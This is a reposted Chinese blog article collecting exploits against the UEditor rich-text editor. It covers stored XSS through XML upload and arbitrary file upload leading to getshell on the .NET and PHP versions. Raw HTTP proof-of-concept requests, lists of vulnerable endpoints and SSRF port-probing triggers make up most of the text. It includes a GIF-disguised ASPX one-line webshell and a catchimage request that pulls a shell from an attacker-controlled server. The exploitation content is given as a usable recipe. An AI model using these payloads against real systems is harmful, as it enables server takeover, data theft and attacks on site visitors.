ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

大神论坛 UEditor 富文本web编辑器最新漏洞 XML文件上传导致存储型XSS

2021-06-19 15:51:38  阅读:243  来源: 互联网

标签:XML UEditor 10 web png https ueditor com ###


## **一、Ueditor最新版XML文件上传导致存储型XSS** ### 测试版本:php版 v1.4.3.3 ### 下载地址:https://github.com/fex-team/ueditor 复现步骤: ### 1\. 上传一个图片文件 ![1.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088283473552.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### 2\. 然后buprsuit抓包拦截 ![2.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088290217022.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### 3.将uploadimage类型改为uploadfile,并修改文件后缀名为xml,最后复制上xml代码即可 ![3.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088300983842.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### 4\. 即可弹出xss ![4.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088307656281.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### 请注意http://controller.xxx的访问路径 http://192.168.10.1/ueditor1433/php/controller.php?action=listfile ![5.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088318722850.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### 常见的xml弹窗POC: 弹窗xss: ``` <body> alert(1); ``` ### URL跳转: ``` <body> window.location.href="https://www.t00ls.net/"; ``` ### 远程加载Js: ``` <body> ``` ### 常用的上传路径: ``` /ueditor/index.html /ueditor/asp/controller.asp?action=uploadimage /ueditor/asp/controller.asp?action=uploadfile /ueditor/net/controller.ashx?action=uploadimage /ueditor/net/controller.ashx?action=uploadfile /ueditor/php/controller.php?action=uploadfile /ueditor/php/controller.php?action=uploadimage /ueditor/jsp/controller.jsp?action=uploadfile /ueditor/jsp/controller.jsp?action=uploadimage ``` ### 常用列出获取路径: ``` /ueditor/net/controller.ashx?action=listfile /ueditor/net/controller.ashx?action=listimage ``` ## **二、文件上传漏洞** ### **1\. NET版本文件上传** ### 该任意文件上传漏洞存在于1.4.3.3、1.5.0和1.3.6版本中,并且只有**.NET**版本受该漏洞影响。***可以利用该漏洞上传***文件,执行命令控制服务器。 ![6.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088332395499.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### ueditor中已经下架.net版本,但历史版本中可以下载1.4.3版本,但是否是1.4.3.3目前还没验证。 ![7.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088339483113.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### 该漏洞是由于上传文件时,使用的CrawlerHandler类未对文件类型进行检验,导致了任意文件上传。1.4.3.3和1.5.0版本利用方式稍有不同,1.4.3.3需要一个能正确解析的域名。而1.5.0用IP和普通域名都可以。相对来说1.5.0版本更加容易触发此漏洞;而在1.4.3.3版本中***者需要提供一个正常的域名地址就可以绕过判断; ## **(1)ueditor . http://1.5.0.net 版本** ### 首先1.5.0版本进行测试,需要先在别的服务器上传一个图片***,比如:1.jpg/1.gif/1.png 都可以,下面x.x.x.x是别的服务器地址,source[]参数值改为图片***地址,并在结尾加上“?.aspx”即可getshell,利用POC: ``` POST /ueditor/net/controller.ashx?action=catchimage source%5B%5D=http%3A%2F%2Fx.x.x.x/1.gif?.aspx ``` ![8.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088365154169.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) (2) **ueditor.1.4.3.3** **.net版** ### 1\. 本地构造一个html,因为不是上传漏洞所以enctype 不需要指定为multipart/form-data, 之前见到有poc指定了这个值。完整的poc如下” ```

shell addr:

``` ![9.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088372898160.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### 2\. 需准备一个图片马儿,远程shell地址需要指定扩展名为 1.gif?.aspx 1.gif图片***(一句话***:密码:hello)如下: GIF89a ``` <%popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %> ``` ### 其中 UmVxdWVzdC5JdGVtWyJoZWxsbyJd的base64值为:Request.Item["hello"] ![10.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088381987546.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### 成功后,会返回马儿地址。 (3) **ueditor.1.3.6** **.net1版本** ### 使用%00截断的方式上传绕过 ![11.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088388214944.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ![12.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088395704310.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ![13.jpg](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088402191210.jpg?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ![14.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088409216959.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ![15.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088416676849.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### 三、PHP版本的文件上传 ### 利用poc: ``` POST http://localhost/ueditor/php/action_upload.php? action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[i mageMaxSize]=9999999&CONFIG[imageAllowFiles] []=.php&CONFIG[imageFieldName]=fuck HTTP/1.1 Host: localhost Connection: keep-alive Content-Length: 222 Cache-Control: max-age=0 Origin: null Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 Content-Type: multipart/form-data; boundary=—— WebKitFormBoundaryDMmqvK6b3ncX4xxA Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4 ———WebKitFormBoundaryDMmqvK6b3ncX4xxA Content-Disposition: form-data; name="fuck"; filename="fuck.php" Content-Type: application/octet-stream <?php phpinfo();?> ———WebKitFormBoundaryDMmqvK6b3ncX4xxA— ``` ### shell路径由CONFIG[imagePathFormat]=ueditor/php/upload/fuck决定[http://localhost/ueditor/php/upload/fuck.php ### **四、***F漏洞** ### 该漏洞存在于1.4.3的jsp版本中。但1.4.3.1版本已经修复了该漏洞。 ![16.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088430928759.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### ***F 已知该版本ueditor的***f触发点: ``` /jsp/controller.jsp?action=catchimage&source[]= /jsp/getRemoteImage.jsp?upfile= /php/controller.php?action=catchimage&source[]= ``` ### 使 用 百 度 logo 构 造 poc: ``` 这里可以根据页面返回的结果不同,来判断该地址对应的主机端口是否开放。可以总结为以下几点: 如 果 抓 取 不 存 在 的 图 片 地 址 时 , 页 面 返 回 {“state”: “SUCCESS”, list: [{“state”:"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]},即state为“远程连接出错”。 如 果 成 功 抓 取 到 图 片 , 页 面 返 回 {“state”: “SUCCESS”, list: [{“state”: “SUCCESS”,“size”:“5103”,“source”:“http://192.168.135.133:8080/tomcat.png”,“title”: “1527173588127099881.png”, “url”:"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"} ]},即state为“SUCCESS”。 如 果 主 机 无 法 访 问 , 页 面 返 回 {“state”:“SUCCESS”, list: [{“state”: “\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25”}]}, 即state为“ 抓取远程图片失败”。 还有一个版本的***f漏洞 ,存在于onethink 1.0中的ueditor,测试版本为1.2直接贴Poc POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1 Host: target User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 37 Connection: keep-alive upfile=https://www.google.com/?%23.jpg ``` ## **五、另一处XSS漏洞** ### 首先安装部署环境:https://github.com/fex-team/ueditor/releases/tag/v1.4.3.3 存储型XSS需要写入后端数据库,这里要把编辑器部署到一个可与数据库交互的环境中。 首先我们打开编辑器输入正常的文本: ![17.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088443324362.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) ### 抓包并将

标签以及原本的文本删除: ![18.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088453839570.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) 插入payload: ``` %3Cp%3E1111111">%3Cbr%2F%3E%3C%2Fp%3E ``` ![19.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088463654971.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) 成功触发存储型XSS漏洞 ![20.png](http://www.icode9.com/i/li/?n=2&i=images/20210619/1624088472455307.png?,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) 更多逆向漏洞学习交流文章,请访问 [大神论坛www.dslt.tech](https://www.dslt.tech/)

标签:XML,UEditor,10,web,png,https,ueditor,com,###
来源: https://blog.51cto.com/u_11440330/2927412

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有